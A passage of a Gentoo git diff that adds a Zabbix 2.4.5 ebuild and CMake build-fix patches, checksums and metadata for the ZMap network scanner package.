+ /${ZABBIXJAVA_BASE}/lib
+ keepdir /${ZABBIXJAVA_BASE}
+ exeinto /${ZABBIXJAVA_BASE}/bin
+ doexe src/zabbix_java/bin/zabbix-java-gateway-${MY_PV}.jar
+ exeinto /${ZABBIXJAVA_BASE}/lib
+ doexe \
+ src/zabbix_java/lib/logback-classic-0.9.27.jar \
+ src/zabbix_java/lib/logback-console.xml \
+ src/zabbix_java/lib/logback-core-0.9.27.jar \
+ src/zabbix_java/lib/logback.xml \
+ src/zabbix_java/lib/android-json-4.3_r3.1.jar \
+ src/zabbix_java/lib/slf4j-api-1.6.1.jar
+ exeinto /${ZABBIXJAVA_BASE}/
+ doexe \
+ src/zabbix_java/settings.sh \
+ src/zabbix_java/startup.sh \
+ src/zabbix_java/shutdown.sh
+ fowners -R zabbix:zabbix /${ZABBIXJAVA_BASE}
+ fi
+
+}
+
+src_compile() {
+ if [ -f Makefile ] || [ -f GNUmakefile ] || [ -f makefile ]; then
+ emake AR="$(tc-getAR)" RANLIB="$(tc-getRANLIB)" || die "emake failed"
+ fi
+}
diff --git a/net-analyzer/zabbix/zabbix-2.4.5.ebuild b/net-analyzer/zabbix/zabbix-2.4.5.ebuild
new file mode 100644
index 000000000000..01aca05aa5e4
--- /dev/null
+++ b/net-analyzer/zabbix/zabbix-2.4.5.ebuild
@@ -0,0 +1,363 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+# needed to make webapp-config dep optional
+WEBAPP_OPTIONAL="yes"
+inherit flag-o-matic webapp depend.php autotools java-pkg-opt-2 user systemd toolchain-funcs
+
+DESCRIPTION="ZABBIX is software for monitoring of your applications, network and servers"
+HOMEPAGE="http://www.zabbix.com/"
+MY_P=${P/_/}
+MY_PV=${PV/_/}
+SRC_URI="http://prdownloads.sourceforge.net/zabbix/${MY_P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+WEBAPP_MANUAL_SLOT="yes"
+KEYWORDS="~amd64 ~x86"
+IUSE="agent java curl frontend ipv6 xmpp ldap libxml2 mysql openipmi oracle postgres proxy server ssh snmp sqlite odbc static"
+
+COMMON_DEPEND="snmp? ( net-analyzer/net-snmp )
+ ldap? (
+ net-nds/openldap
+ =dev-libs/cyrus-sasl-2*
+ net-libs/gnutls
+ )
+ mysql? ( >=virtual/mysql-5.0.3 )
+ sqlite? ( >=dev-db/sqlite-3.3.5 )
+ postgres? ( dev-db/postgresql:* )
+ oracle? ( >=dev-db/oracle-instantclient-basic-10.0.0.0 )
+ xmpp? ( dev-libs/iksemel )
+ libxml2? ( dev-libs/libxml2 )
+ curl? ( net-misc/curl )
+ openipmi? ( sys-libs/openipmi )
+ ssh? ( net-libs/libssh2 )
+ java? ( virtual/jdk:* )
+ odbc? ( dev-db/unixODBC )"
+
+RDEPEND="${COMMON_DEPEND}
+ proxy? ( <=net-analyzer/fping-2.9 )
+ server? ( <=net-analyzer/fping-2.9
+ app-admin/webapp-config )
+ java? (
+ >=virtual/jre-1.6
+ dev-java/slf4j-api
+ )
+ frontend? (
+ >=dev-lang/php-5.3.0[bcmath,ctype,sockets,gd,truetype,xml,session,xmlreader,xmlwriter,nls,sysvipc,unicode]
+ || ( dev-lang/php[apache2] dev-lang/php[cgi] dev-lang/php[fpm] )
+ media-libs/gd[png]
+ app-admin/webapp-config )"
+DEPEND="${COMMON_DEPEND}
+ virtual/pkgconfig"
+
+S=${WORKDIR}/${MY_P}
+
+ZABBIXJAVA_BASE="opt/zabbix_java"
+
+java_prepare() {
+ cd "${S}/src/zabbix_java/lib"
+ rm -v *.jar || die
+
+ java-pkg_jar-from slf4j-api
+}
+
+src_prepare() {
+ eautoreconf
+}
+
+pkg_setup() {
+ if use server || use proxy ; then
+ local dbnum dbtypes="mysql oracle postgres sqlite" dbtype
+ declare -i dbnum=0
+ for dbtype in ${dbtypes}; do
+ use ${dbtype} && let dbnum++
+ done
+ if [ ${dbnum} -gt 1 ]; then
+ eerror
+ eerror "You can't use more than one database type in Zabbix."
+ eerror "Select exactly one database type out of these: ${dbtypes}"
+ eerror
+ die "Multiple database types selected."
+ elif [ ${dbnum} -lt 1 ]; then
+ eerror
+ eerror "Select exactly one database type out of these: ${dbtypes}"
+ eerror
+ die "No database type selected."
+ fi
+ if use oracle; then
+ if [ -z "${ORACLE_HOME}" ]; then
+ eerror
+ eerror "The environment variable ORACLE_HOME must be set"
+ eerror "and point to the correct location."
+ eerror "It looks like you don't have Oracle installed."
+ eerror
+ die "Environment variable ORACLE_HOME is not set"
+ fi
+ if has_version 'dev-db/oracle-instantclient-basic'; then
+ ewarn
+ ewarn "Please ensure you have a full install of the Oracle client."
+ ewarn "dev-db/oracle-instantclient* is NOT sufficient."
+ ewarn
+ fi
+ fi
+ fi
+
+ if use frontend; then
+ webapp_pkg_setup
+ fi
+
+ enewgroup zabbix
+ enewuser zabbix -1 -1 /var/lib/zabbix/home zabbix
+}
+
+pkg_postinst() {
+ if use server || use proxy ; then
+ elog
+ elog "You may need to configure your database for Zabbix,"
+ elog "if you have not already done so. "
+ elog
+
+ zabbix_homedir=$(egethome zabbix)
+ if [ -n "${zabbix_homedir}" ] && \
+ [ "${zabbix_homedir}" != "/var/lib/zabbix/home" ]; then
+ ewarn
+ ewarn "The user 'zabbix' should have his homedir changed"
+ ewarn "to /var/lib/zabbix/home if you want to use"
+ ewarn "custom alert scripts."
+ ewarn
+ ewarn "A real homedir might be needed for configfiles"
+ ewarn "for custom alert scripts (e.g. ~/.sendxmpprc when"
+ ewarn "using sendxmpp for Jabber alerts)."
+ ewarn
+ ewarn "To change the homedir use:"
+ ewarn " usermod -d /var/lib/zabbix/home zabbix"
+ ewarn
+ fi
+ fi
+
+ if use server; then
+ elog
+ elog "For distributed monitoring you have to run:"
+ elog
+ elog "zabbix_server -n <nodeid>"
+ elog
+ elog "This will convert database data for use with Node ID"
+ elog "and also adds a local node."
+ elog
+ fi
+
+ elog "--"
+ elog
+ elog "You may need to add these lines to /etc/services:"
+ elog
+ elog "zabbix-agent 10050/tcp Zabbix Agent"
+ elog "zabbix-agent 10050/udp Zabbix Agent"
+ elog "zabbix-trapper 10051/tcp Zabbix Trapper"
+ elog "zabbix-trapper 10051/udp Zabbix Trapper"
+ elog
+
+ elog "Feel free to download or contribute gentoo specific zabbix templates"
+ elog "via https://github.com/deploylinux/gentooZabbixTemplates (WIP)."
+
+ # repeat fowners/fperms functionality from src_install()
+ # here to catch wrong permissions on existing files in
+ # the live filesystem (yeah, that sucks).
+ chown -R zabbix:zabbix \
+ "${ROOT}"/etc/zabbix \
+ "${ROOT}"/var/lib/zabbix \
+ "${ROOT}"/var/lib/zabbix/home \
+ "${ROOT}"/var/lib/zabbix/scripts \
+ "${ROOT}"/var/log/zabbix
+ chmod 0750 \
+ "${ROOT}"/etc/zabbix \
+ "${ROOT}"/var/lib/zabbix \
+ "${ROOT}"/var/lib/zabbix/home \
+ "${ROOT}"/var/lib/zabbix/scripts \
+ "${ROOT}"/var/log/zabbix
+
+ chmod 0640 \
+ "${ROOT}"/etc/zabbix/zabbix_*
+
+ if use server || use proxy ; then
+ # check for fping
+ fping_perms=$(stat -c %a /usr/sbin/fping 2>/dev/null)
+ case "${fping_perms}" in
+ 4[157][157][157])
+ ;;
+ *)
+ ewarn
+ ewarn "If you want to use the checks 'icmpping' and 'icmppingsec',"
+ ewarn "you have to make /usr/sbin/fping setuid root and executable"
+ ewarn "by everyone. Run the following command to fix it:"
+ ewarn
+ ewarn " chmod u=rwsx,g=rx,o=rx /usr/sbin/fping"
+ ewarn
+ ewarn "Please be aware that this might impose a security risk,"
+ ewarn "depending on the code quality of fping."
+ ewarn
+ ;;
+ esac
+ fi
+}
+
+src_configure() {
+
+ econf \
+ $(use_enable server) \
+ $(use_enable proxy) \
+ $(use_enable agent) \
+ $(use_enable ipv6) \
+ $(use_enable static) \
+ $(use_enable java) \
+ $(use_with ldap) \
+ $(use_with snmp net-snmp) \
+ $(use_with mysql) \
+ $(use_with postgres postgresql) \
+ $(use_with oracle) \
+ $(use_with sqlite sqlite3) \
+ $(use_with xmpp jabber) \
+ $(use_with curl libcurl) \
+ $(use_with openipmi openipmi) \
+ $(use_with ssh ssh2) \
+ $(use_with libxml2) \
+ $(use_with odbc unixodbc) \
+ || die "econf failed"
+}
+
+src_install() {
+ dodir \
+ /etc/zabbix \
+ /var/lib/zabbix \
+ /var/lib/zabbix/home \
+ /var/lib/zabbix/scripts \
+ /var/lib/zabbix/alertscripts \
+ /var/lib/zabbix/externalscripts \
+ /var/log/zabbix
+
+ keepdir \
+ /etc/zabbix \
+ /var/lib/zabbix \
+ /var/lib/zabbix/home \
+ /var/lib/zabbix/scripts \
+ /var/lib/zabbix/alertscripts \
+ /var/lib/zabbix/externalscripts \
+ /var/log/zabbix
+
+ if use server; then
+ insinto /etc/zabbix
+ doins "${FILESDIR}/2.4"/zabbix_server.conf
+ doinitd "${FILESDIR}/2.4"/init.d/zabbix-server
+ dosbin src/zabbix_server/zabbix_server
+ fowners zabbix:zabbix /etc/zabbix/zabbix_server.conf
+ fperms 0640 /etc/zabbix/zabbix_server.conf
+ dodir /usr/share/zabbix
+ /bin/cp -R "${S}/database/" "${D}"/usr/share/zabbix/
+ systemd_dounit "${FILESDIR}/zabbix-server.service"
+ systemd_newtmpfilesd "${FILESDIR}/zabbix-server.tmpfiles" zabbix-server.conf
+ fi
+
+ if use proxy; then
+ doinitd \
+ "${FILESDIR}/2.4"/init.d/zabbix-proxy
+ dosbin \
+ src/zabbix_proxy/zabbix_proxy
+ insinto /etc/zabbix
+ doins \
+ "${FILESDIR}/2.4"/zabbix_proxy.conf
+ dodir /usr/share/zabbix
+ /bin/cp -R "${S}/database/" "${D}"/usr/share/zabbix/
+ systemd_dounit "${FILESDIR}/zabbix-proxy.service"
+ systemd_newtmpfilesd "${FILESDIR}/zabbix-proxy.tmpfiles" zabbix-proxy.conf
+ fi
+
+ if use agent; then
+ insinto /etc/zabbix
+ doins \
+ "${FILESDIR}/2.4"/zabbix_agent.conf \
+ "${FILESDIR}/2.4"/zabbix_agentd.conf
+ doinitd "${FILESDIR}/2.4"/init.d/zabbix-agentd
+ dosbin \
+ src/zabbix_agent/zabbix_agent \
+ src/zabbix_agent/zabbix_agentd
+ dobin \
+ src/zabbix_sender/zabbix_sender \
+ src/zabbix_get/zabbix_get
+ fowners zabbix:zabbix \
+ /etc/zabbix/zabbix_agent.conf \
+ /etc/zabbix/zabbix_agentd.conf
+ fperms 0640 \
+ /etc/zabbix/zabbix_agent.conf \
+ /etc/zabbix/zabbix_agentd.conf
+ systemd_dounit "${FILESDIR}/zabbix-agentd.service"
+ systemd_newtmpfilesd "${FILESDIR}/zabbix-agentd.tmpfiles" zabbix-agentd.conf
+ fi
+
+ fowners zabbix:zabbix \
+ /etc/zabbix \
+ /var/lib/zabbix \
+ /var/lib/zabbix/home \
+ /var/lib/zabbix/scripts \
+ /var/lib/zabbix/alertscripts \
+ /var/lib/zabbix/externalscripts \
+ /var/log/zabbix
+ fperms 0750 \
+ /etc/zabbix \
+ /var/lib/zabbix \
+ /var/lib/zabbix/home \
+ /var/lib/zabbix/scripts \
+ /var/lib/zabbix/alertscripts \
+ /var/lib/zabbix/externalscripts \
+ /var/log/zabbix
+
+ dodoc README INSTALL NEWS ChangeLog \
+ conf/zabbix_agent.conf \
+ conf/zabbix_agentd.conf \
+ conf/zabbix_proxy.conf \
+ conf/zabbix_agentd/userparameter_examples.conf \
+ conf/zabbix_agentd/userparameter_mysql.conf \
+ conf/zabbix_server.conf
+
+ if use frontend; then
+ webapp_src_preinst
+ cp -R frontends/php/* "${D}/${MY_HTDOCSDIR}"
+ webapp_postinst_txt en "${FILESDIR}/"1.6.6/postinstall-en.txt
+ webapp_configfile \
+ "${MY_HTDOCSDIR}"/include/db.inc.php \
+ "${MY_HTDOCSDIR}"/include/config.inc.php
+ webapp_src_install
+ fi
+
+ if use java; then
+ dodir \
+ /${ZABBIXJAVA_BASE} \
+ /${ZABBIXJAVA_BASE}/bin \
+ /${ZABBIXJAVA_BASE}/lib
+ keepdir /${ZABBIXJAVA_BASE}
+ exeinto /${ZABBIXJAVA_BASE}/bin
+ doexe src/zabbix_java/bin/zabbix-java-gateway-${MY_PV}.jar
+ exeinto /${ZABBIXJAVA_BASE}/lib
+ doexe \
+ src/zabbix_java/lib/logback-classic-0.9.27.jar \
+ src/zabbix_java/lib/logback-console.xml \
+ src/zabbix_java/lib/logback-core-0.9.27.jar \
+ src/zabbix_java/lib/logback.xml \
+ src/zabbix_java/lib/android-json-4.3_r3.1.jar \
+ src/zabbix_java/lib/slf4j-api-1.6.1.jar
+ exeinto /${ZABBIXJAVA_BASE}/
+ doexe \
+ src/zabbix_java/settings.sh \
+ src/zabbix_java/startup.sh \
+ src/zabbix_java/shutdown.sh
+ fowners -R zabbix:zabbix /${ZABBIXJAVA_BASE}
+ fi
+
+}
+
+src_compile() {
+ if [ -f Makefile ] || [ -f GNUmakefile ] || [ -f makefile ]; then
+ emake AR="$(tc-getAR)" RANLIB="$(tc-getRANLIB)" || die "emake failed"
+ fi
+}
diff --git a/net-analyzer/zmap/Manifest b/net-analyzer/zmap/Manifest
new file mode 100644
index 000000000000..a625e81331c8
--- /dev/null
+++ b/net-analyzer/zmap/Manifest
@@ -0,0 +1,4 @@
+DIST zmap-1.1.1.tar.gz 84325 SHA256 e3a740a97f217840b6afa81e2c84e11d44f91346cb9f2b21d0f5eda11fca5128 SHA512 daffd541b04d1c1e3e8cccbd3d08d881d2460b177524b5cafced388ebf7ea29343602f2540ba0430249cc0167ad370f1287f21f952c9254d98ce6213ba2288dd WHIRLPOOL a5882df618b1990be8bda2872175e33209cf9cedf003c2e619c4e136b4596e443f7b9a9d31b8abc2e520f8f502d9ba6b728b9fd9a320557b94e62aec09fb1a8a
+DIST zmap-1.1.2.tar.gz 84364 SHA256 3766b1cee8287184e4f475761b78633639e130fd004ae067ce4abf79b3a2da0d SHA512 b0f3834f30b97166576fb64814791f4aec1fa9326dfe965d65c66e7375cdeae48b6a25156c65a5af6a74e739df3964538d4c29b2d6e1c3d71b9ed3c756bb7821 WHIRLPOOL b6d0629f0aee3d6321c2179395fad97a2d5f0bb5e9cdf7a08606baf2d9bfe6f3bfe19e403147fd568a164a8d75c3e1db5f996e5d4ecdf9df366a3f1395681b3f
+DIST zmap-1.2.0.tar.gz 100594 SHA256 7658aef8338c592bebef82336f58598b2fa305d56779f6c81bffeef8c90472b0 SHA512 68fa49647444f18adfc86b4ee85ed3e93945611ca75687eedc259504e0d66edcded267b4fba9a975299984551c88193feacb850f46432d3f3f22f1430ed7c9bd WHIRLPOOL e4a50f86dfcae802d6b432e51c0f78ca37d56a3540326f076fcc002fbb23aeb85dbb57ad4a84b4b10d863f0f41b8d06510fdec1b9264d77c80cf0ffa69e5e01a
+DIST zmap-1.2.1.tar.gz 99840 SHA256 ff01f2b139e98a7e64ed2872ae332929c500dd6120888d57900fac82dccfeea8 SHA512 1b3d7fa41bb75c859463f3ec8bcde31778f5d91a6f561aa9638ba93be97dacdba89493574581ce52aebcf093a86b042dcce41cffe6cb0849bb76a6005b714be2 WHIRLPOOL 842ad32286883b554440dcb5ccfd8655997321612fd9ec49f591a6151819b6b605bc518281100c55ca8a9113819960710f870a745ebcb9994a6224b47d9a49ee
diff --git a/net-analyzer/zmap/files/zmap-1.1.0-out-of-src.patch b/net-analyzer/zmap/files/zmap-1.1.0-out-of-src.patch
new file mode 100644
index 000000000000..38f39efd0a33
--- /dev/null
+++ b/net-analyzer/zmap/files/zmap-1.1.0-out-of-src.patch
@@ -0,0 +1,45 @@
+ CMakeLists.txt | 2 +-
+ src/CMakeLists.txt | 4 ++--
+ zmap_conf_install.cmake.in | 2 +-
+ 3 files changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index bea62ab..0378f44 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -67,4 +67,4 @@ add_subdirectory(src)
+ FILE(GLOB CONF_FILES RELATIVE "${CMAKE_CURRENT_SOURCE_DIR}/conf" "conf/*")
+ message(STATUS "${CONF_FILES}")
+ configure_file(zmap_conf_install.cmake.in zmap_conf_install.cmake)
+-install(SCRIPT zmap_conf_install.cmake)
++install(SCRIPT "${CMAKE_CURRENT_BINARY_DIR}/zmap_conf_install.cmake")
+diff --git a/src/CMakeLists.txt b/src/CMakeLists.txt
+index 6e51f12..2c1ae5a 100644
+--- a/src/CMakeLists.txt
++++ b/src/CMakeLists.txt
+@@ -75,11 +75,11 @@ add_custom_command(OUTPUT zopt.h
+ )
+
+ add_custom_command(OUTPUT lexer.c
+- COMMAND flex -o "${CMAKE_CURRENT_BINARY_DIR}/lexer.c" --header-file="${CMAKE_CURRENT_BINARY_DIR}/lexer.h" lexer.l
++ COMMAND flex -o "${CMAKE_CURRENT_BINARY_DIR}/lexer.c" --header-file="${CMAKE_CURRENT_BINARY_DIR}/lexer.h" "${CMAKE_CURRENT_SOURCE_DIR}/lexer.l"
+ )
+
+ add_custom_command(OUTPUT parser.c
+- COMMAND byacc -d -o parser.c parser.y
++ COMMAND byacc -d -o "${CMAKE_CURRENT_BINARY_DIR}/parser.c" "${CMAKE_CURRENT_SOURCE_DIR}/parser.y"
+ )
+
+ add_executable(zmap ${SOURCES})
+diff --git a/zmap_conf_install.cmake.in b/zmap_conf_install.cmake.in
+index 358a97d..aba7a60 100644
+--- a/zmap_conf_install.cmake.in
++++ b/zmap_conf_install.cmake.in
+@@ -1,6 +1,6 @@
+ foreach(conf_file ${CONF_FILES})
+ message(STATUS "${conf_file}")
+ if(NOT EXISTS "/etc/zmap/${conf_file}")
+- file(INSTALL "conf/${conf_file}" DESTINATION "/etc/zmap")
++ file(INSTALL "${CMAKE_CURRENT_SOURCE_DIR}/conf/${conf_file}" DESTINATION "/etc/zmap")
+ endif()
+ endforeach()
diff --git a/net-analyzer/zmap/files/zmap-1.1.1-json-c.patch b/net-analyzer/zmap/files/zmap-1.1.1-json-c.patch
new file mode 100644
index 000000000000..d5f7e3c04ae9
--- /dev/null
+++ b/net-analyzer/zmap/files/zmap-1.1.1-json-c.patch
@@ -0,0 +1,28 @@
+From 08c00b66555612ed69d7f253b277f44cf8da0c62 Mon Sep 17 00:00:00 2001
+From: Justin Lecher <jlec@gentoo.org>
+Date: Mon, 30 Dec 2013 10:50:34 +0100
+Subject: [PATCH] Fix name of josn-c pkg-config file
+
+Over 2 years ago json-c renamed its pc file from json.pc -> json-c.pc.
+
+Signed-off-by: Justin Lecher <jlec@gentoo.org>
+---
+ CMakeLists.txt | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index ebf9316..a9c8e5a 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -52,7 +52,7 @@ endif()
+
+ if(WITH_JSON)
+ include(FindPkgConfig)
+- pkg_check_modules(JSON json)
++ pkg_check_modules(JSON json-c)
+ if(JSON_FOUND)
+ include_directories(JSON_INCLUDE_DIRS)
+ else()
+--
+1.8.5.2
+
diff --git a/net-analyzer/zmap/files/zmap-1.1.1-out-of-src.patch b/net-analyzer/zmap/files/zmap-1.1.1-out-of-src.patch
new file mode 100644
index 000000000000..bd99ee31bb43
--- /dev/null
+++ b/net-analyzer/zmap/files/zmap-1.1.1-out-of-src.patch
@@ -0,0 +1,48 @@
+ CMakeLists.txt | 2 +-
+ src/CMakeLists.txt | 4 ++--
+ zmap_conf_install.cmake.in | 7 -------
+ 3 files changed, 3 insertions(+), 10 deletions(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index aeb1c7f..0378f44 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -67,4 +67,4 @@ add_subdirectory(src)
+ FILE(GLOB CONF_FILES RELATIVE "${CMAKE_CURRENT_SOURCE_DIR}/conf" "conf/*")
+ message(STATUS "${CONF_FILES}")
+ configure_file(zmap_conf_install.cmake.in zmap_conf_install.cmake)
+-install(SCRIPT "${PROJECT_SOURCE_DIR}/zmap_conf_install.cmake")
++install(SCRIPT "${CMAKE_CURRENT_BINARY_DIR}/zmap_conf_install.cmake")
+diff --git a/src/CMakeLists.txt b/src/CMakeLists.txt
+index 6e51f12..2c1ae5a 100644
+--- a/src/CMakeLists.txt
++++ b/src/CMakeLists.txt
+@@ -75,11 +75,11 @@ add_custom_command(OUTPUT zopt.h
+ )
+
+ add_custom_command(OUTPUT lexer.c
+- COMMAND flex -o "${CMAKE_CURRENT_BINARY_DIR}/lexer.c" --header-file="${CMAKE_CURRENT_BINARY_DIR}/lexer.h" lexer.l
++ COMMAND flex -o "${CMAKE_CURRENT_BINARY_DIR}/lexer.c" --header-file="${CMAKE_CURRENT_BINARY_DIR}/lexer.h" "${CMAKE_CURRENT_SOURCE_DIR}/lexer.l"
+ )
+
+ add_custom_command(OUTPUT parser.c
+- COMMAND byacc -d -o parser.c parser.y
++ COMMAND byacc -d -o "${CMAKE_CURRENT_BINARY_DIR}/parser.c" "${CMAKE_CURRENT_SOURCE_DIR}/parser.y"
+ )
+
+ add_executable(zmap ${SOURCES})
+diff --git a/zmap_conf_install.cmake.in b/zmap_conf_install.cmake.in
+index c1b2f61..695e7dd 100644
+--- a/zmap_conf_install.cmake.in
++++ b/zmap_conf_install.cmake.in
+@@ -1,10 +1,3 @@
+-message(STATUS "Creating /etc/zmap")
+-if (NOT EXISTS "/etc/zmap/")
+- file(MAKE_DIRECTORY "/etc/zmap")
+-else()
+- message(STATUS "/etc/zmap exists, skipping...")
+-endif()
+-
+ message(STATUS "Installing blacklist.conf...")
+ if (NOT EXISTS "/etc/zmap/blacklist.conf")
+ file(INSTALL "${PROJECT_SOURCE_DIR}/conf/blacklist.conf" DESTINATION "/etc/zmap")
diff --git a/net-analyzer/zmap/files/zmap-9999-cmake.patch b/net-analyzer/zmap/files/zmap-9999-cmake.patch
new file mode 100644
index 000000000000..fe57de933562
--- /dev/null
+++ b/net-analyzer/zmap/files/zmap-9999-cmake.patch
@@ -0,0 +1,178 @@
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+new file mode 100644
+index 0000000..8e2d2b4
+--- /dev/null
++++ b/CMakeLists.txt
+@@ -0,0 +1,72 @@
++cmake_minimum_required (VERSION 2.6)
++project (ZMAP C)
++
++option(WITH_REDIS "Build with support for Redis DB" OFF)
++option(WITH_JSON "Build with support for JSON" OFF)
++option(ENABLE_DEVELOPMENT "Enable development specific compiler and linker flags" OFF)
++option(ENABLE_HARDENING "Add hardening specific compiler and linker flags" OFF)
++
++if(ENABLE_DEVELOPMENT)
++ # Hardening and warnings for building with gcc
++ # Maybe add -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations
++ set(GCCWARNINGS
++ "-Wall -Wformat=2 -Wno-format-nonliteral"
++ "-pedantic -fno-strict-aliasing"
++ "-Wextra"
++ "-Wfloat-equal -Wundef -Wwrite-strings -Wredundant-decls"
++ "-Wnested-externs -Wbad-function-cast -Winit-self"
++ "-Wmissing-noreturn -Wnormalized=id"
++ "-Wstack-protector"
++ "-Werror"
++ )
++
++ # Fix line breaks
++ string(REPLACE ";" " " GCCWARNINGS "${GCCWARNINGS}")
++
++ set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${GCCWARNINGS} -g")
++ set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -g")
++endif()
++
++if(ENABLE_HARDENING)
++ set(GCCHARDENING "-U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 -fstack-protector-all -fwrapv -fPIC --param ssp-buffer-size=1")
++ set(LDHARDENING "-z relro -z now")
++
++ set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${GCCHARDENING}")
++ set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} ${LDHARDENING}")
++endif()
++
++if(WITH_REDIS)
++ set(REDIS_LIBS hiredis)
++ add_definitions("-DREDIS")
++endif()
++
++if(WITH_JSON)
++ include(FindPkgConfig)
++ pkg_check_modules(JSON json-c)
++ if(NOT JSON_FOUND)
++ set(JSON_CFLAGS "")
++ set(JSON_LIBS "-ljson-c")
++ include_directories("/usr/local/include/json-c/")
++ endif()
++
++ add_definitions("-DJSON")
++ set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${JSON_CFLAGS}")
++endif()
++
++# Standard FLAGS
++set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -std=gnu99")
++set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -pthread")
++
++# Extra target FLAGS
++set(CMAKE_C_FLAGS_DEBUG "-O2 -g")
++set(CMAKE_C_FLAGS_RELEASE "-O2")
++
++add_subdirectory(src)
++
++# Install conf files
++FILE(GLOB CONF_FILES "conf/*")
++install(
++ FILES
++ ${CONF_FILES}
++ DESTINATION "/etc/zmap/"
++ )
+diff --git a/src/CMakeLists.txt b/src/CMakeLists.txt
+new file mode 100644
+index 0000000..50bf1ee
+--- /dev/null
++++ b/src/CMakeLists.txt
+@@ -0,0 +1,94 @@
++include_directories(
++ "${CMAKE_CURRENT_BINARY_DIR}"
++ ${PROJECT_SOURCE_DIR}/lib
++ ${PROJECT_SOURCE_DIR}/src
++ ${PROJECT_SOURCE_DIR}/src/output_modules
++ )
++
++SET(LIB_SOURCES
++ ${PROJECT_SOURCE_DIR}/lib/blacklist.c
++ ${PROJECT_SOURCE_DIR}/lib/constraint.c
++ ${PROJECT_SOURCE_DIR}/lib/logger.c
++ ${PROJECT_SOURCE_DIR}/lib/random.c
++ ${PROJECT_SOURCE_DIR}/lib/rijndael-alg-fst.c
++)
++
++# ADD YOUR PROBE MODULE HERE
++SET(EXTRA_PROBE_MODULES
++
++ )
++
++# ADD YOUR OUTPUT MODULE HERE
++SET(EXTRA_OUTPUT_MODULES
++
++ )
++
++SET(OUTPUT_MODULE_SOURCES
++# output_modules/module_extended_file.c
++# output_modules/module_simple_file.c
++ output_modules/module_csv.c
++ output_modules/output_modules.c
++ )
++
++SET(PROBE_MODULE_SOURCES
++ probe_modules/module_icmp_echo.c
++ probe_modules/module_tcp_synscan.c
++ probe_modules/module_udp.c
++ probe_modules/packet.c
++ probe_modules/probe_modules.c
++ )
++
++SET(SOURCES
++ aesrand.c
++ cyclic.c
++ fieldset.c
++ get_gateway.c
++ monitor.c
++ recv.c
++ send.c
++ state.c
++ validate.c
++ zmap.c
++ zopt_compat.c
++ "${CMAKE_CURRENT_BINARY_DIR}/zopt.h"
++ ${EXTRA_PROBE_MODULES}
++ ${EXTRA_OUTPUT_MODULES}
++ ${PROBE_MODULE_SOURCES}
++ ${OUTPUT_MODULE_SOURCES}
++ ${LIB_SOURCES}
++ )
++
++if (WITH_JSON)
++ SET(SOURCES ${SOURCES} output_modules/module_json.c)
++endif()
++
++if (WITH_REDIS)
++ SET(SOURCES ${SOURCES} ${PROJECT_SOURCE_DIR}/lib/redis.c output_modules/module_redis.c)
++endif()
++
++add_custom_command(OUTPUT zopt.h
++ COMMAND gengetopt -C --no-help --no-version -i "${CMAKE_CURRENT_SOURCE_DIR}/zopt.ggo" -F "${CMAKE_CURRENT_BINARY_DIR}/zopt"
++ )
++
++add_executable(zmap ${SOURCES})
++
++target_link_libraries(
++ zmap
++ pcap gmp m
++ ${REDIS_LIBS}
++ ${JSON_LIBRARIES}
++ )
++
++# Install binary
++install(
++ TARGETS
++ zmap
++ RUNTIME DESTINATION sbin
++)
++
++# Install Manpages
++install(
++ FILES
++ zmap.1
++ DESTINATION share/man/man1
++ )
diff --git a/net-analyzer/zmap/files/zmap-9999-out-of-src.patch b/net-analyzer/zmap/files/zmap-9999-out-of-src.patch
new file mode 100644
index 000000000000..7d281f8dbe00
--- /dev/null
+++ b/net-analyzer/zmap/files/zmap-9999-out-of-src.patch
@@ -0,0 +1,29 @@
+ CMakeLists.txt | 2 +-
+ zmap_conf_install.cmake.in | 7 -------
+ 2 files changed, 1 insertion(+), 8 deletions(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index ebf9316..f18c112 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -77,4 +77,4 @@ add_subdirectory(src)
+ FILE(GLOB CONF_FILES RELATIVE "${CMAKE_CURRENT_SOURCE_DIR}/conf" "conf/*")
+ message(STATUS "${CONF_FILES}")
+ configure_file(zmap_conf_install.cmake.in zmap_conf_install.cmake)
+-install(SCRIPT "${PROJECT_SOURCE_DIR}/zmap_conf_install.cmake")
++install(SCRIPT "${CMAKE_CURRENT_BINARY_DIR}/zmap_conf_install.cmake")
+diff --git a/zmap_conf_install.cmake.in b/zmap_conf_install.cmake.in
+index 7f36f12..d5fe9d9 100644
+--- a/zmap_conf_install.cmake.in
++++ b/zmap_conf_install.cmake.in
+@@ -1,10 +1,3 @@
+-message(STATUS "Creating /etc/zmap")
+-if (NOT EXISTS "/etc/zmap/")
+- file(MAKE_DIRECTORY "/etc/zmap")
+-else()
+- message(STATUS "/etc/zmap exists, skipping...")
+-endif()
+-
+ message(STATUS "Installing blacklist.conf...")
+ if (NOT EXISTS "/etc/zmap/blacklist.conf")
+ file(INSTALL "${PROJECT_SOURCE_DIR}/conf/blacklist.conf" DESTINATION "/etc/zmap")
diff --git a/net-analyzer/zmap/metadata.xml b/net-analyzer/zmap/metadata.xml
new file mode 100644
index 000000000000..8fbea4056e31
--- /dev/null
+++ b/net-analyzer/zmap/metadata.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
